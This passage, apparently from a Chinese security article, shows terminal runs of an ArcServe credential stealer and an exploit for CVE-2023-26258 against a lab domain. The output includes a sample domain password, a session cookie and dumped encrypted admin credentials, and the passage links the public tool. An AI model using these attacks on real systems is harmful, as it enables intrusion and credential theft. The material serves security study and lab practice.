psyconauta@insulanova:/tmp|⇒ python3 arcserve-creds.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20 -=[ ArcServe Credential Stealer - (@TheXC3LL) ]=-[+] Connecting to 192.168.56.20[+] Checking Remote Registry service status...[+] Service is down![+] Starting Remote Registry service...[+] Connecting to 192.168.56.20[+] Opening registry key [*] User: P3TWLADS11STD\\vagrant [*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter[+] Stopping Remote Registry Service
Have a nice day! ^_^
最后,如果 ArcServe 版本未修补 (CVE-2023-26258),则可以利用管理 Web 界面中的身份验证绕过并检索管理员凭据 ( ArcServe-exploit.py ):
psyconauta@insulanova:/tmp|⇒ python3 exploit.py 192.168.56.10 -=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) ]=-
[*] Triggering info leak [+] AdminName: SEVENKINGDOMS\\vagrant [+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1[*] Getting a valid session [+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428[*] Doing an authenticated request to validate if session is valid[*] Session is valid [+] Admin: SEVENKINGDOMS\\vagrant [+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
GitHub上的工具链接:https://github.com/mdsecactivebreach/CVE-2023-26258-ArcServe
预览时标签不可点
微信扫一扫
关注该公众号
知道了
微信扫一扫
使用小程序
取消 允许
取消 允许
: , 。 视频 小程序 赞 ,轻点两下取消赞 在看 ,轻点两下取消在看